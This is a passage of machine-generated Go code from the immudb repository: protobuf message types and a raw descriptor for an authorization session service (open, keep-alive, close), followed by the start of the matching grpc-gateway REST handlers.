*OpenSessionResponse) GetInactivityTimestamp() int32 {\n\tif x != nil {\n\t\treturn x.InactivityTimestamp\n\t}\n\treturn 0\n}\n\ntype KeepAliveRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *KeepAliveRequest) Reset() {\n\t*x = KeepAliveRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_authorization_proto_msgTypes[2]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *KeepAliveRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*KeepAliveRequest) ProtoMessage() {}\n\nfunc (x *KeepAliveRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_authorization_proto_msgTypes[2]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use KeepAliveRequest.ProtoReflect.Descriptor instead.\nfunc (*KeepAliveRequest) Descriptor() ([]byte, []int) {\n\treturn file_authorization_proto_rawDescGZIP(), []int{2}\n}\n\ntype KeepAliveResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *KeepAliveResponse) Reset() {\n\t*x = KeepAliveResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_authorization_proto_msgTypes[3]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *KeepAliveResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*KeepAliveResponse) ProtoMessage() {}\n\nfunc (x *KeepAliveResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_authorization_proto_msgTypes[3]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use KeepAliveResponse.ProtoReflect.Descriptor instead.\nfunc (*KeepAliveResponse) Descriptor() ([]byte, []int) {\n\treturn file_authorization_proto_rawDescGZIP(), []int{3}\n}\n\ntype CloseSessionRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *CloseSessionRequest) Reset() {\n\t*x = CloseSessionRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_authorization_proto_msgTypes[4]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *CloseSessionRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*CloseSessionRequest) ProtoMessage() {}\n\nfunc (x *CloseSessionRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_authorization_proto_msgTypes[4]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use CloseSessionRequest.ProtoReflect.Descriptor instead.\nfunc (*CloseSessionRequest) Descriptor() ([]byte, []int) {\n\treturn file_authorization_proto_rawDescGZIP(), []int{4}\n}\n\ntype CloseSessionResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *CloseSessionResponse) Reset() {\n\t*x = CloseSessionResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_authorization_proto_msgTypes[5]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *CloseSessionResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*CloseSessionResponse) ProtoMessage() {}\n\nfunc (x *CloseSessionResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_authorization_proto_msgTypes[5]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use CloseSessionResponse.ProtoReflect.Descriptor instead.\nfunc (*CloseSessionResponse) Descriptor() ([]byte, []int) {\n\treturn file_authorization_proto_rawDescGZIP(), []int{5}\n}\n\nvar File_authorization_proto protoreflect.FileDescriptor\n\nvar file_authorization_proto_rawDesc = []byte{\n\t0x0a, 0x13, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e,\n\t0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x0c, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f,\n\t0x64, 0x65, 0x6c, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f,\n\t0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74,\n\t0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77,\n\t0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e,\n\t0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22,\n\t0x68, 0x0a, 0x12, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65,\n\t0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d,\n\t0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d,\n\t0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20,\n\t0x01, 0x28, 0x09, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a,\n\t0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52,\n\t0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x4f, 0x70,\n\t0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73,\n\t0x65, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01,\n\t0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12,\n\t0x1e, 0x0a, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20,\n\t0x01, 0x28, 0x09, 0x52, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x12,\n\t0x30, 0x0a, 0x13, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d,\n\t0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x65, 0x78,\n\t0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d,\n\t0x70, 0x12, 0x30, 0x0a, 0x13, 0x69, 0x6e, 0x61, 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x54,\n\t0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13,\n\t0x69, 0x6e, 0x61, 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74,\n\t0x61, 0x6d, 0x70, 0x22, 0x12, 0x0a, 0x10, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x13, 0x0a, 0x11, 0x4b, 0x65, 0x65, 0x70, 0x41,\n\t0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x0a, 0x13,\n\t0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75,\n\t0x65, 0x73, 0x74, 0x22, 0x16, 0x0a, 0x14, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73,\n\t0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x32, 0xc8, 0x03, 0x0a, 0x14,\n\t0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x72,\n\t0x76, 0x69, 0x63, 0x65, 0x12, 0x8e, 0x01, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73,\n\t0x73, 0x69, 0x6f, 0x6e, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f,\n\t0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52,\n\t0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f,\n\t0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x92, 0x41, 0x11, 0x0a, 0x0d,\n\t0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x82,\n\t0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f,\n\t0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,\n\t0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c,\n\t0x69, 0x76, 0x65, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64,\n\t0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75,\n\t0x65, 0x73, 0x74, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64,\n\t0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70,\n\t0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f,\n\t0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x3a, 0x01,\n\t0x2a, 0x22, 0x20, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f,\n\t0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c,\n\t0x69, 0x76, 0x65, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73,\n\t0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f,\n\t0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73,\n\t0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x92, 0x41, 0x0f,\n\t0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82,\n\t0xd3, 0xe4, 0x93, 0x02, 0x21, 0x3a, 0x01, 0x2a, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f,\n\t0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,\n\t0x2f, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x42, 0xad, 0x01, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, 0x12,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20,\n\t0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f,\n\t0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33,\n\t0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23,\n\t0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e,\n\t0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69,\n\t0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41,\n\t0x75, 0x74, 0x68, 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f,\n\t0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d,\n\t0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74,\n\t0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,\n}\n\nvar (\n\tfile_authorization_proto_rawDescOnce sync.Once\n\tfile_authorization_proto_rawDescData = file_authorization_proto_rawDesc\n)\n\nfunc file_authorization_proto_rawDescGZIP() []byte {\n\tfile_authorization_proto_rawDescOnce.Do(func() {\n\t\tfile_authorization_proto_rawDescData = protoimpl.X.CompressGZIP(file_authorization_proto_rawDescData)\n\t})\n\treturn file_authorization_proto_rawDescData\n}\n\nvar file_authorization_proto_msgTypes = make([]protoimpl.MessageInfo, 6)\nvar file_authorization_proto_goTypes = []interface{}{\n\t(*OpenSessionRequest)(nil),   // 0: immudb.model.OpenSessionRequest\n\t(*OpenSessionResponse)(nil),  // 1: immudb.model.OpenSessionResponse\n\t(*KeepAliveRequest)(nil),     // 2: immudb.model.KeepAliveRequest\n\t(*KeepAliveResponse)(nil),    // 3: immudb.model.KeepAliveResponse\n\t(*CloseSessionRequest)(nil),  // 4: immudb.model.CloseSessionRequest\n\t(*CloseSessionResponse)(nil), // 5: immudb.model.CloseSessionResponse\n}\nvar file_authorization_proto_depIdxs = []int32{\n\t0, // 0: immudb.model.AuthorizationService.OpenSession:input_type -> immudb.model.OpenSessionRequest\n\t2, // 1: immudb.model.AuthorizationService.KeepAlive:input_type -> immudb.model.KeepAliveRequest\n\t4, // 2: immudb.model.AuthorizationService.CloseSession:input_type -> immudb.model.CloseSessionRequest\n\t1, // 3: immudb.model.AuthorizationService.OpenSession:output_type -> immudb.model.OpenSessionResponse\n\t3, // 4: immudb.model.AuthorizationService.KeepAlive:output_type -> immudb.model.KeepAliveResponse\n\t5, // 5: immudb.model.AuthorizationService.CloseSession:output_type -> immudb.model.CloseSessionResponse\n\t3, // [3:6] is the sub-list for method output_type\n\t0, // [0:3] is the sub-list for method input_type\n\t0, // [0:0] is the sub-list for extension type_name\n\t0, // [0:0] is the sub-list for extension extendee\n\t0, // [0:0] is the sub-list for field type_name\n}\n\nfunc init() { file_authorization_proto_init() }\nfunc file_authorization_proto_init() {\n\tif File_authorization_proto != nil {\n\t\treturn\n\t}\n\tif !protoimpl.UnsafeEnabled {\n\t\tfile_authorization_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*OpenSessionRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_authorization_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*OpenSessionResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_authorization_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*KeepAliveRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_authorization_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*KeepAliveResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_authorization_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*CloseSessionRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_authorization_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*CloseSessionResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\ttype x struct{}\n\tout := protoimpl.TypeBuilder{\n\t\tFile: protoimpl.DescBuilder{\n\t\t\tGoPackagePath: reflect.TypeOf(x{}).PkgPath(),\n\t\t\tRawDescriptor: file_authorization_proto_rawDesc,\n\t\t\tNumEnums:      0,\n\t\t\tNumMessages:   6,\n\t\t\tNumExtensions: 0,\n\t\t\tNumServices:   1,\n\t\t},\n\t\tGoTypes:           file_authorization_proto_goTypes,\n\t\tDependencyIndexes: file_authorization_proto_depIdxs,\n\t\tMessageInfos:      file_authorization_proto_msgTypes,\n\t}.Build()\n\tFile_authorization_proto = out.File\n\tfile_authorization_proto_rawDesc = nil\n\tfile_authorization_proto_goTypes = nil\n\tfile_authorization_proto_depIdxs = nil\n}\n"
  },
  {
    "path": "pkg/api/protomodel/authorization.pb.gw.go",
    "content": "// Code generated by protoc-gen-grpc-gateway. DO NOT EDIT.\n// source: authorization.proto\n\n/*\nPackage protomodel is a reverse proxy.\n\nIt translates gRPC into RESTful JSON APIs.\n*/\npackage protomodel\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"net/http\"\n\n\t\"github.com/golang/protobuf/descriptor\"\n\t\"github.com/golang/protobuf/proto\"\n\t\"github.com/grpc-ecosystem/grpc-gateway/runtime\"\n\t\"github.com/grpc-ecosystem/grpc-gateway/utilities\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/grpclog\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/grpc/status\"\n)\n\n// Suppress \"imported and not used\" errors\nvar _ codes.Code\nvar _ io.Reader\nvar _ status.Status\nvar _ = runtime.String\nvar _ = utilities.NewDoubleArray\nvar _ = descriptor.ForMessage\nvar _ = metadata.Join\n\nfunc request_AuthorizationService_OpenSession_0(ctx context.Context, marshaler runtime.Marshaler, client AuthorizationServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq OpenSessionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.OpenSession(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_AuthorizationService_OpenSession_0(ctx context.Context, marshaler runtime.Marshaler, server AuthorizationServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq OpenSessionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.OpenSession(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_AuthorizationService_KeepAlive_0(ctx context.Context, marshaler runtime.Marshaler, client AuthorizationServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq KeepAliveRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.KeepAlive(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_AuthorizationService_KeepAlive_0(ctx context.Context, marshaler runtime.Marshaler, server AuthorizationServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq KeepAliveRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.KeepAlive(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_AuthorizationService_CloseSession_0(ctx context.Context, marshaler runtime.Marshaler, client AuthorizationServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq CloseSessionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.CloseSession(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_AuthorizationService_CloseSession_0(ctx context.Context, marshaler runtime.Marshaler, server AuthorizationServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq CloseSessionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.CloseSession(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\n// RegisterAuthorizationServiceHandlerServer registers the http handlers for service AuthorizationService to \"mux\".\n// UnaryRPC     :call AuthorizationServiceServer directly.\n// StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906.\n// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterAuthorizationServiceHandlerFromEndpoint instead.\nfunc RegisterAuthorizationServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server AuthorizationServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_AuthorizationService_OpenSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, 